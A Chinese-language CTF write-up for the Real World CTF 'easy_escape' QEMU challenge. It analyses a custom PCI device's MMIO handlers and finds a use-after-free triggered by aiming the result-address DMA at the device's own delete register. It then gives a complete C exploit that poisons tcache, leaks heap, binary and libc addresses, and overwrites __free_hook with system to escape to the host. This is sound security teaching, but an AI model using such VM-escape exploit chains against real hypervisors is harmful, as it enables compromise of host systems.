easy_escape
分析
首先看一下启动程序run.sh
1 2 3 4 5 6 7 8 9 10
| #!/bin/sh
./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \\ -m 64M \\ -monitor none \\ -device fun \\ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \\ -nographic
|
漏洞肯定位于fun
设备中,用ida
分析一下qemu-system-x86_64
,从fun_class_init
函数中我们可以得到vendor_id,class_id
。在qemu
中查看一下resource
,看到只有一个内存空间
1 2 3 4 5 6 7 8 9 10 11
| / 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: cafe:babe 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 / 0x00000000febf1000 0x00000000febf1fff 0x0000000000040200
|
这里我们直接进入mmio_read/write
函数进行分析,先来看一下mmio_write
函数。其中FunState
的结构如下
1 2 3 4 5 6 7 8 9 10 11
| 00000000 FunState struc ; (sizeof=0xA00, align=0x10, copyof_4860) 00000000 pdev PCIDevice_0 ? 000008F0 mmio MemoryRegion_0 ? 000009E0 addr dd ? 000009E4 size dd ? 000009E8 idx dd ? 000009EC result_addr dd ? 000009F0 req dq ? ; offset 000009F8 as dq ? ; offset 00000A00 FunState ends
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| void __cdecl fun_mmio_write(FunState *opaque, hwaddr cmd, uint32_t_0 val) { switch ( cmd ) { case 0uLL: opaque->size = val; break; case 4uLL: opaque->addr = val; break; case 8uLL: opaque->result_addr = val; break; case 0xCuLL: opaque->idx = val; break; case 0x10uLL: if ( opaque->req ) handle_data_read(opaque, opaque->req, opaque->idx); break; case 0x14uLL: if ( !opaque->req ) opaque->req = create_req(opaque->size); break; case 0x18uLL: if ( opaque->req ) delete_req(opaque->req); opaque->req = 0LL; opaque->size = 0; break; default: return; } }
|
函数根据cmd
为fun
结构体中的不同的成员变量赋值,其中当cmd=0x14
的时候会为req
创建相应的结构体,我们看一下这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| FunReq *__cdecl create_req(uint32_t_0 size) { uint32_t_0 i; uint32_t_0 t; FunReq *req;
if ( size > 0x1FBFF ) return 0LL; req = (FunReq *)malloc(0x400uLL); memset(req, 0, sizeof(FunReq)); req->total_size = size; t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) req->list[i] = (char *)malloc(0x400uLL); return req; }
|
即按照opaque->size
的值为req
的成员变量total_size
赋值,req->list
中堆块指针数量由(size>>10) + 1
决定,其中最多为127
个。当cmd
为0x18
的时候会调用delete_req
函数,
1 2 3 4 5 6 7 8 9 10 11
| void __cdecl delete_req(FunReq *req) { uint32_t_0 i; uint32_t_0 t;
t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) free(req->list[i]); free(req); }
|
根据req->total_size
的值,依次释放req->list[i]
指向的内存空间。当cmd=0x10
且req!=NULL
的时候会调用handle_data_read
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val) { if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); put_result(fun, 2u); } } void __cdecl put_result(FunState *fun, uint32_t_0 val) { uint32_t_0 result; unsigned __int64 v3;
v3 = __readfsqword(0x28u); result = val; dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL); } int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE); } int __cdecl dma_memory_read_9(AddressSpace_0 *as, dma_addr_t addr, void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, buf, len, DMA_DIRECTION_TO_DEVICE); }
|
这里首先调用put_result
将固定的值写入到fun->result_addr
指向的物理内存中,然后调用dma_memory_read_9
函数将fun->addr+(val << 10)
指向的物理内存中的内容写入到req->list[index]
指向的内存空间中。即写入数据。
再来看一下mmio_read
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr cmd) { uint32_t_0 val;
val = -1; switch ( cmd ) { case 0uLL: val = opaque->size; break; case 4uLL: val = opaque->addr; break; case 8uLL: val = opaque->result_addr; break; case 0xCuLL: val = opaque->idx; break; case 0x10uLL: if ( opaque->req ) handle_data_write(opaque, opaque->req, opaque->idx); break; default: return val; } return val; }
|
可以看到是根据cmd
的值来决定返回的FunState
中的成员变量的值,当cmd=0x10
的时候如果req!=NUll
那么就会调用handle_data_write
函数看一下该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 idx) { if ( req->total_size && idx <= 0x7E && idx < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_write_9(fun->as, (idx << 10) + fun->addr, req->list[idx], 0x400uLL); put_result(fun, 2u); } } void __cdecl put_result(FunState *fun, uint32_t_0 val) { uint32_t_0 result; unsigned __int64 v3;
v3 = __readfsqword(0x28u); result = val; dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL); } int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE); }
|
函数的作用是首先调用put_result
将固定的值写入到fun->result_addr
指向的物理内存中,然后调用dma_memory_write_9
函数将req->list[index]
指向的内存空间中的内容写入到fun->addr + (index << 10)
指向的物理内存中,即读取req->list[index]
中的数据。与handle_data_read
函数类似。
漏洞位于put_result
函数中,该函数最终调用的是fun_mmio_write()
函数,其中参数就是我们设置的result_addr
,也就是说如果我们将result_addr
设置为mmio_address+0x18
,那么函数最终就是调用fun_mmio_write(0x18)
,也就是会调用delete_req
函数。那么之后的dma_memory_read/write
函数就会读写已经释放的堆块,造成一个UAF
漏洞。
利用
这里如果我们首先申请多个req
即0x400
大小的堆块,那么在delete req
的时候,这些堆块就会进入tcache
中,因此这里如果我们读取数据的话就会泄漏出heap
地址和tcache entry
的地址,根据heap
地址我们可以计算得到req
的堆地址。需要注意的是,在req
释放之后前0x10
字节会被覆写,因此我们需要将index
设置为1/2
进行读取。
得到req
地址之后我们可以将tcache->fd,bk
改写为req address,tcache entry
,那么在之后进行create req
的时候req->list[2]=req
,这样我们就可以做到任意地址读写。
任意地址读写之后就可以读取tcache entry
中的残留数据,泄漏出proc address
,之后读取puts got
泄漏得到libc
基址,覆写free_hook-0x10
为"cat /falg"+system_address
。那么在释放的时候就会输出flag
。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235
| #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include<sys/io.h>
#define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1)
unsigned char* mmio_mem; uint32_t mmio_addr = 0xfebf1000; uint32_t mmio_size = 0x1000; uint64_t elf_puts_got = 0x100dd38; uint64_t libc_puts_offset = 0x875a0; uint64_t libc_system_offset = 0x55410; uint64_t libc_free_hook_offset = 0x1eeb28;
uint32_t page_offset(uint32_t addr) { return addr & ((1<< PAGE_SHIFT) - 1); }
uint64_t gva_to_gfn(void*addr) {
uint8_t*ptr; uint64_t ptr_mem;
int fd = open("/proc/self/pagemap", O_RDONLY); if(fd < 0) { perror("open"); exit(1); }
uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if(!(pme & PFN_PRESENT)) return-1; gfn = pme & PFN_PFN; return gfn; }
uint64_t gva_to_gpa(void*addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); }
void die(const char* msg) { perror(msg); exit(-1); }
void* mem_map( const char* dev, size_t offset, size_t size ) { int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0; }
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) { return 0; }
close( fd ); return result; }
void mmio_write(uint64_t addr, uint64_t value, int choice) { if (choice == 0){ *((uint8_t*)(mmio_mem + addr)) = value; } else if (choice == 1){ *((uint16_t*)(mmio_mem + addr)) = value; } else if (choice == 2){ *((uint32_t*)(mmio_mem + addr)) = value; } else if (choice == 3){ *((uint64_t*)(mmio_mem + addr)) = value; } }
uint64_t mmio_read(uint32_t addr, int choice) { if(choice == 0){ return *((uint8_t*)(mmio_mem + addr)); } else if(choice == 1){ return *((uint16_t*)(mmio_mem + addr)); } else if(choice == 2){ return *((uint32_t*)(mmio_mem + addr)); } else if(choice == 3){ return *((uint64_t*)(mmio_mem + addr)); } }
void set_size(uint32_t size){ mmio_write(0, size << 10, 2); }
void set_addr(uint32_t addr){ mmio_write(4, addr, 2); }
void set_result_addr(uint32_t addr){ mmio_write(8, addr, 2); }
void set_idx(uint32_t idx){ mmio_write(0xc, idx, 2); }
void handle_data_read(){ mmio_write(0x10, 0, 2); }
void create_req(uint32_t size){ set_size(size); mmio_write(0x14, 0, 2); }
void delete_req(){ mmio_write(0x18, 0, 2); }
void handle_data_write(){ mmio_read(0x10, 2); }
int main(){ system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size); if (!mmio_mem){ die("mmio or vga mmap failed"); } char* buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (!buf){ die("mmap failed\\n"); } memset(buf, 0, 0x1000); uint64_t physical_buf_address = gva_to_gpa(buf); create_req(2); set_result_addr(mmio_addr+0x18); set_idx(2); set_addr(physical_buf_address); handle_data_write(); uint64_t req_address = *(uint64_t *)(buf + 0x800) - 0x410*2; uint64_t tcache_entry_address = *(uint64_t *)(buf + 0x808); printf("req: %p\\ntcache entry: %p\\n", req_address, tcache_entry_address);
memset(buf, 0, 0x1000); create_req(2); set_result_addr(mmio_addr + 0x18); set_idx(1); set_addr(physical_buf_address);
*(uint64_t*)(buf + 0x400) = req_address; *(uint64_t*)(buf + 0x408) = tcache_entry_address; handle_data_read(); printf("tcache chain has been changed\\n");
memset(buf, 0, 0x1000); create_req(2); set_result_addr(mmio_addr); set_idx(2); set_addr(physical_buf_address);
*(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = tcache_entry_address + 0x788; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address; handle_data_read(); set_idx(0); handle_data_write(); uint64_t proc_address = *(uint64_t *)buf - 0xa700a0; printf("proc base: %p\\n", proc_address);
memset(buf, 0, 0x1000); set_idx(2); *(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = proc_address + elf_puts_got; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address;
handle_data_read(); set_idx(0); handle_data_write(); uint64_t libc_address = *(uint64_t*)buf - libc_puts_offset; printf("libc address: %p\\n", libc_address);
memset(buf, 0, 0x1000); set_idx(2); *(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = libc_address + libc_free_hook_offset - 0x10; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address;
getchar();
handle_data_read(); set_idx(0); memset(buf, 0, 0x1000); strcpy(buf, "cat /flag"); *(uint64_t*)(buf + 0x10) = libc_system_offset + libc_address; handle_data_read();
delete_req();
}
|
参考
RealWorld CTF 2020 EasyEscape题解
Real World CTF 3rd - Esay Escape